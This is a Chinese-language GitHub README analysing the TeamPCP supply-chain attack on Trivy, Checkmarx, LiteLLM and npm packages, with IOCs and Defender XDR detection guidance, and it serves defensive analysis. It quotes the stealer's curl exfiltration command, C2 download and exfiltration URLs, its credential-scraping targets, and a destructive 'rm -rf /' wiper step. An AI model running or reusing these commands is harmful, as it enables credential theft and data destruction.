ugurrates/teampcp-supply-chain-attack

GitHub: ugurrates/teampcp-supply-chain-attack

TeamPCP 供应链攻击的完整技术分析报告,涵盖攻击时间线、杀伤链拆解、IOC 列表和 Microsoft Defender XDR 检测查询。

Stars: 0 | Forks: 0

# TeamPCP 供应链攻击:技术分析与检测指南 在 2026 年 3 月 19 日至 25 日期间,威胁行为者 **TeamPCP**(亦被追踪为 DeadCatx3、PCPcat、ShellForce、CanisterWorm)在五个生态系统(GitHub Actions、Docker Hub、OpenVSX、npm 和 PyPI)中实施了一次级联式供应链入侵。此次攻击始于一个未完全轮换的 GitHub PAT,随后蔓延至两家主要的开源安全厂商(Aqua Security 和 Checkmarx)、四个 GitHub Actions 仓库、两个 VS Code 扩展、容器镜像仓库以及 66+ 个 npm 包。 本仓库提供了完整的技术拆解、经过 FP 测试的 IOC 列表,以及可在 Microsoft Defender XDR 中直接部署的检测查询。 ## 目录 - [攻击时间线](#attack-timeline) - [杀伤链拆解](#kill-chain-breakdown) - [受损工件](#compromised-artifacts) - [凭证窃取机制](#credential-stealer-mechanics) - [CanisterWorm — npm 传播](#canisterworm--npm-propagation) - [针对伊朗的擦除组件](#iran-targeted-wiper-component) - [检测与狩猎](#detection--hunting) - [IOC 列表](#ioc-list) - [FP 过滤说明](#fp-filtering-notes) - [MITRE ATT&CK 映射](#mitre-attck-mapping) - [参考资料](#references) ## 攻击时间线 | 日期 (UTC) | 事件 | |---|---| | 2026年2月20日 | 创建 `hackerbot-claw` 账号;开始扫描仓库以寻找可利用的 `pull_request_target` 工作流 | | 2026年2月28日 | 首次通过 PWN 请求入侵 Trivy;凭证被窃取 | | 2026年3月1日 | Aqua Security 尝试遏制 —— 凭证轮换不完整 | | **2026年3月19日 17:43** | **主要打击:** TeamPCP 通过被入侵的 `aqua-bot` 服务账号,对 `aquasecurity/trivy-action` 中的 75/76 个标签以及 `setup-trivy` 中的所有 7 个标签进行强制推送 | | 2026年3月19日 18:22 | 后门版本 Trivy v0.69.4 发布至 GitHub Releases、Docker Hub、GHCR、ECR | | 2026年3月20日 05:40 | Trivy-action 入侵窗口关闭(约 12 小时) | | 2026年3月20日 20:45 | 检测到 CanisterWorm 在 npm 上传播 —— 47+ 个包被入侵 | | 2026年3月22日 20:31 | TeamPCP 在脚本化的 2 分钟突发操作中篡改了 `aquasec-com` GitHub 组织中的所有 44 个仓库 | | 2026年3月22日 | Docker Hub 镜像 `0.69.5` 和 `0.69.6` 被推送,包含相同的窃取载荷 | | **2026年3月23日 02:53** | **Checkmarx 波次开始:** 恶意版本 `ast-results` v2.53.0 和 `cx-dev-assist` v1.7.0 通过 `ast-phoenix` 账号发布至 OpenVSX | | 2026年3月23日 12:58 | `Checkmarx/kics-github-action` 的所有 35 个标签通过被入侵的 `cx-plugins-releases` 账号被强制推送 | | 2026年3月23日 15:41 | Checkmarx 报告 OpenVSX 问题已解决 | | 2026年3月23日 16:50 | KICS GitHub Action 在用户报告后下线 | | 2026年3月23日 22:25 | Sysdig 报告 `Checkmarx/ast-github-action` v2.3.28 也已受损 | | **2026年3月24日 08:30** | **LiteLLM 波次:** 使用窃取的凭证将木马化版本 `litellm` v1.82.7 和 v1.82.8 发布至 PyPI | | 2026年3月24日 11:25 | PyPI 隔离恶意 LiteLLM 版本 | ## 杀伤链拆解 ### 阶段 1 —— 初始访问 根本原因:2 月 28 日入侵后的凭证轮换不完整。`aqua-bot` 服务账号的 PAT 要么未被撤销,要么攻击者在轮换过程中观察到了新 Token。 TeamPCP 利用保留的访问权限,将版本标签强制推送到恶意冒名提交。每个伪造的提交都克隆了原始提交的元数据(作者、时间戳、消息),同时将入口点脚本替换为窃取载荷。GitHub 的发布页面没有显示任何可见变化 —— 甚至“Immutable”徽章也显示正常。 ### 阶段 2 —— 载荷执行 该窃取器 —— 一个 204 行的 `entrypoint.sh`,自称为 "TeamPCP Cloud stealer" —— 运行三阶段攻击: **阶段 1:内存抓取** ``` Reads /proc//mem from Runner.Worker processes Searches for pattern: {"value":"","isSecret":true} Extracts GitHub PATs, cloud credentials, API keys from runner memory ``` **阶段 2:文件系统凭证扫描** 扫描 50+ 个敏感路径,包括: - SSH 密钥 (`~/.ssh/*`) - AWS/GCP/Azure 凭证 - Kubernetes Token 和配置 - Docker 镜像仓库凭证 - Terraform 状态文件 - 加密货币钱包 - npm Token (`~/.npmrc`) - Shell 历史记录 - `.env` 文件 **阶段 3:加密渗出** - 将所有收集的数据打包为 `tpcp.tar.gz` - 使用 AES-256-CBC(随机会话密钥)+ RSA-4096/RSA-OAEP(攻击者的公钥)进行加密 - 通过 `curl POST` 渗出至特定厂商的仿冒域名 - 后备方案:使用被盗的 `GITHUB_TOKEN` 在受害者的 GitHub 账号中创建 `tpcp-docs` 或 `docs-tpcp` 仓库 ### 阶段 3 —— 持久化 在非 CI 的 Linux 系统上,该恶意软件: 1. 创建隐藏目录 `~/.config/sysmon/` 2. 投放 Python 后门 (`sysmon.py`) 3. 安装 systemd 用户服务,每 50 分钟轮询一次 C2 4. 杀戮开关:如果 C2 响应包含 "youtube",后门跳过执行 ### 阶段 4 —— 横向移动(Checkmarx 波次) 从 Trivy 波次中窃取的凭证使得入侵 Checkmarx 的生态系统成为可能。每个新波次使用不同的仿冒 C2 域名,以逃避前一波次的黑名单封锁: | 波次 | C2 域名 | 仿冒对象 | |---|---|---| | Trivy | `scan.aquasecurtiy[.]org` | aquasecurity.org | | Checkmarx/KICS | `checkmarx[.]zone` | checkmarx.com | | LiteLLM | `models.litellm[.]cloud` | litellm.ai | ## 受损工件 ### GitHub Actions | 仓库 | 受损标签 | 暴露窗口 (UTC) | 入口点 | |---|---|---|---| | `aquasecurity/trivy-action` | 76 个中的 75 个(安全:`0.35.0`) | 3月19日 17:43 – 3月20日 05:40 | `entrypoint.sh` | | `aquasecurity/setup-trivy` | 所有 7 个标签 | 3月19日 17:43 – 21:44 | `action.yaml` | | `Checkmarx/kics-github-action` | 所有 35 个标签 | 3月23日 12:58 – 16:50 | `setup.sh` | | `Checkmarx/ast-github-action` | v2.3.28(可能全部) | 3月23日 ~22:25+ | `setup.sh` | ### OpenVSX 扩展(VS Code Marketplace 未受影响) | 扩展 | 恶意版本 | 安全版本 | |---|---|---| | `checkmarx.ast-results` | 2.53.0 | >= 2.56.0 | | `checkmarx.cx-dev-assist` | 1.7.0 | >= 1.10.0 | 这两个扩展于 3 月 23 日 UTC 时间 12:53 通过 `ast-phoenix` 账号发布,间隔仅 12 秒。激活时,`environmentAuthChecker.js` 会检查云服务商凭证,然后从 `checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz` 拉取第二阶段窃取器。 ### 容器镜像 | 镜像 | 恶意标签 | |---|---| | `docker.io/aquasec/trivy` | 0.69.4, 0.69.5, 0.69.6 | | `ghcr.io/aquasecurity/trivy` | 0.69.4, 0.69.5, 0.69.6 | | `public.ecr.aws/aquasecurity/trivy` | 0.69.4, 0.69.5, 0.69.6 | ### PyPI | 包 | 版本 | 后门文件 | |---|---|---| | `litellm` | 1.82.7, 1.82.8 | `litellm/proxy/proxy_server.py` | 三重嵌套 base64 载荷,包含 K8s 横向移动工具包。通过 `sysmon.service` 轮询 `checkmarx.zone/raw` 实现持久化。 ## 凭证窃取机制 渗出模式在所有波次中完全一致: ``` curl -s -o /dev/null -w %{http_code} -X POST https:// \ -H "Content-Type: application/octet-stream" \ -H "X-Filename: tpcp.tar.gz" \ --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz ``` 仿冒域名策略是精心设计的:分析人员在审查 CI/CD 日志时,会看到发往看似 Action 自身厂商域名的 `curl` 流量。如果不仔细比对,在快速日志审查中,`scan.aquasecurtiy.org` 很容易蒙混过关变成 `aquasecurity.org`。 只有攻击者能解密被盗数据 —— AES 会话密钥使用其公钥进行了 RSA-OAEP 加密。 ## CanisterWorm —— npm 传播 在 Trivy 入侵后的 24 小时内,被盗的 npm Token 使得一种自传播蠕虫在 66+ 个包(141 个恶意工件)中蔓延。 **CanisterWorm 的显著特点:** - 首个记录在案的、使用 **ICP (Internet Computer Protocol) 区块链容器** 作为 C2 的 npm 恶意软件 - 位于 `tdtqy-oyaaa-aaaae-af2dq-cai` 的容器是一个去中心化智能合约 —— 没有单一的下线点 - 暴露 3 个方法:`get_latest_link`、`http_request`、`update_link` - 攻击者可以在所有受感染机器上轮换载荷,而无需重新发布任何 npm 包 - 杀戮开关:如果容器返回包含 `youtube.com` 的 URL,后门进入休眠 - 持久化:伪装成 `pgmon`(PostgreSQL 监控)的 systemd 用户服务 - 轮询间隔:每 50 分钟 - 二进制文件投放到 `/tmp/pglog`,状态跟踪在 `/tmp/.pg_state` **已知受损范围:** `@emilgroup/*`、`@teale.io/*`(自传播变体位于 `@teale.io/eslint-config` v1.8.11, v1.8.12) ## 针对伊朗的擦除组件 一个破坏性变体专门针对伊朗系统: 1. **Kubernetes + 伊朗:** 跨每个节点(包括控制平面)部署特权 DaemonSets,通过名为 `kamikaze` 的容器进行擦除并强制重启 2. **Kubernetes + 非伊朗:** 将 CanisterWorm 后门安装为 systemd 服务 3. **非 K8s + 伊朗:** 使用 sudo 执行 `rm -rf / --no-preserve-root` 4. **非 K8s + 非伊朗:** 不执行操作 通过系统时区和区域设置检查进行检测。 ## 检测与狩猎 ### Microsoft Defender XDR —— 自定义检测规则 **规则名称:** `TeamPCP Supply Chain C2 and Malware IOC Match` **严重性:** 高 **类别:** CommandAndControl **频率:** 每 1 小时 完整 KQL 查询请参见 [`detection/defender_xdr_query.kql`](detection/defender_xdr_query.kql)。 该查询涵盖: - 7 个 SHA256 文件哈希(窃取器 + CanisterWorm 变体) - 2 个 C2 IP 地址 - 4 个 C2 域名(仿冒域名 + ICP 容器) - 4 个特定 C2 URL - DNS 解析检查 ### TI 指标导入 位于 [`iocs/FINAL_TeamPCP_IOC_25Mar2026.csv`](iocs/FINAL_TeamPCP_IOC_25Mar2026.csv) 的 CSV 文件可直接导入。该文件已在生产级航空基础设施环境中进行了 FP 测试。 ### 其他平台 | 平台 | 检测 | |---|---| | **Palo Alto Cortex XDR** | 规则 `ioc.linux.shaihulud.2` —— GitHub Action Runner 上的凭证访问 | | **Sysdig/Falco** | `Contact EC2 Instance Metadata Service From Container`, `Curl Exfiltrating File`, `Exfiltration of AWS IMDS Credentials Using LOTL Binary` | ## IOC 列表 ### 文件哈希 (SHA256) | 哈希 | 描述 | 来源 | |---|---|---| | `18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671a` | Trivy 恶意 `entrypoint.sh` | Phoenix Security | | `c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926` | CanisterWorm 波次 4 —— 最终形态 | Aikido Security | | `0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a` | CanisterWorm 波次 3 —— 自传播测试 | Aikido Security | | `61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba` | CanisterWorm 波次 2 —— 武装化 ICP 后门 | Aikido Security | | `f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152` | CanisterWorm 波次 1 —— deploy.js | Aikido Security | | `7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7` | CanisterWorm 波次 2 —— deploy.js | Aikido Security | | `5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956` | CanisterWorm 波次 3+ —— deploy.js 压缩版 | Aikido Security | ### 网络 IOC | 指标 | 类型 | 用途 | |---|---|---| | `83.142.209.11` | IP | C2 服务器 | | `45.148.10.212` | IP | C2 服务器 | | `checkmarx[.]zone` | 域名 | C2 —— Checkmarx/KICS/LiteLLM 波次 | | `scan.aquasecurtiy[.]org` | 域名 | C2 —— Trivy 波次 | | `models.litellm[.]cloud` | 域名 | C2 —— LiteLLM PyPI 波次 | | `tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io` | 域名 | ICP 容器死信箱 C2 | ### C2 URL 路径 | URL | 功能 | |---|---| | `checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz` | 第二阶段载荷下载 | | `checkmarx[.]zone/vsx` | 渗出端点 | | `checkmarx[.]zone/raw` | 持久化轮询 (50 分钟) | | `tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/` | ICP 容器 C2 | ### 持久化工件 | 路径 | 用途 | |---|---| | `~/.config/sysmon/` | 后门目录 | | `~/.config/sysmon.py` | Python 后门 | | `~/.config/systemd/user/sysmon.service` | Systemd 持久化 | | `~/.config/systemd/user/pgmon.service` | CanisterWorm 持久化(PostgreSQL 伪装) | | `/tmp/pglog` | 下载的二进制文件 | | `/tmp/.pg_state` | C2 轮询状态 | ### GitHub 渗出仓库(后备) | 名称 | 波次 | |---|---| | `tpcp-docs` | Trivy | | `docs-tpcp` | Checkmarx | ## FP 过滤说明 本仓库中的检测查询和 IOC CSV 已在以下生产环境中进行了测试: - 运行 community.general 和 kubernetes.core 集合的 Ansible AWX/Tower - macOS 开发工作站上的 Claude Code 和 GitHub Copilot - FortiMonitor 代理(IMDS 轮询) - OCI 实例上的 Oracle AHF(IMDS 轮询) - 各种 Python/Node.js 开发工具链 以下 IOC 因确认为误报而被**移除**: | IOC | FP 来源 | |---|---| | `setup.sh`(文件名) | Ansible 集合、Claude Code 插件缓存、Bitnami 脚本 | | `service.py`(文件名) | Ansible module_utils、protobuf、boto3、FreeIPA、K8s 核心 | | `deploy.js`(文件名) | 标准 npm/Node 文件 | | `169.254.169.254`(IMDS IP) | FortiMonitor 代理、Oracle AHF —— 合法监控 | | `icp0.io`(父域名) | 范围过宽,会捕获合法 ICP 流量 | | `hooks.slack.com`(命令行) | 合法 Slack 集成 | | `discord.com/api/webhooks`(命令行) | 合法 Discord 集成 | ## MITRE ATT&CK 映射 | 技术 | ID | 上下文 | |---|---|---| | 供应链入侵:软件依赖 | T1195.002 | GitHub Actions 标签投毒、OpenVSX、npm、PyPI | | 不安全凭证:云实例元数据 API | T1552.005 | 从 CI Runner 窃取 AWS IMDS | | 来自密码存储的凭证 | T1555 | 文件系统凭证扫描(50+ 路径) | | 操作系统凭证转储 | T1003 | Runner.Worker `/proc/mem` 抓取 | | 经 C2 通道渗出 | T1041 | 加密的 tpcp.tar.gz 发往仿冒域名 | | Web 服务 | T1102 | ICP 容器死信箱 C2 | | Systemd 服务 | T1543.002 | pgmon.service、sysmon.service 持久化 | | 入口工具传输 | T1105 | checkmarx-util-1.0.4.tgz 下载 | | 获取基础设施:域名 | T1583.001 | 每波次特定仿冒域名 | ## 参考资料 | 来源 | 链接 | |---|---| | Wiz — KICS 入侵 | https://www.wiz.io/blog/teampcp-attack-kics-github-action | | Wiz — Trivy 入侵 | https://www.wiz.io/blog/trivy-compromised-teampcp-supply-chain-attack | | Sysdig TRT — Checkmarx 扩展 | https://www.sysdig.com/blog/teampcp-expands-supply-chain-compromise-spreads-from-trivy-to-checkmarx-github-actions | | Checkmarx 官方 | https://checkmarx.com/blog/checkmarx-security-update/ | | Phoenix Security — 完整时间线 | https://phoenix.security/teampcp-supply-chain-attack-trivy-checkmarx-github-actions-npm-canisterworm/ | | Aikido Security — CanisterWorm | https://www.aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise | | Endor Labs — LiteLLM | https://www.endorlabs.com/learn/teampcp-isnt-done | | Mend — CanisterWorm | https://www.mend.io/blog/canisterworm-the-self-spreading-npm-attack-that-uses-a-decentralized-server-to-stay-alive/ | | Socket — npm 入侵 | https://socket.dev/blog/canisterworm-npm-publisher-compromise-deploys-backdoor-across-29-packages | | StepSecurity — Trivy 分析 | https://www.stepsecurity.io/blog/trivy-compromised-a-second-time---malicious-v0-69-4-release | | JFrog — 扩展分析 | https://research.jfrog.com/post/canister-worm/ | | Rami McCarthy — IOC 时间线 | https://ramimac.me/trivy-teampcp/ | ## 许可证 MIT —— 可自由使用、分享、修改。请注明来源。 **作者:** [Ugur Can Ates](https://linkedin.com/in/ugurcanates) —— SOC 团队负责人 & 高级安全工程师 **最后更新:** 2026年3月25日
标签:Aqua Security, ATT&CK映射, cascading attack, Checkmarx, CI/CD安全, Cutter, CVE-2026-33634, DNS 反向解析, Docker Hub, GitHub Actions安全, IOC指标, IP 地址批量处理, Llama, Microsoft Defender XDR, Nessus结果分析, NPM恶意包, OpenVSX, PyPI攻击, StruQ, TeamPCP, Trivy漏洞, 供应链攻击, 后门分析, 威胁情报, 安全分析报告, 开发者工具, 数据擦除器, 文档安全, 私有化部署, 窃密木马, 级联攻击, 逆向工具, 速率限制处理, 防御加固, 防御框架, 防御规避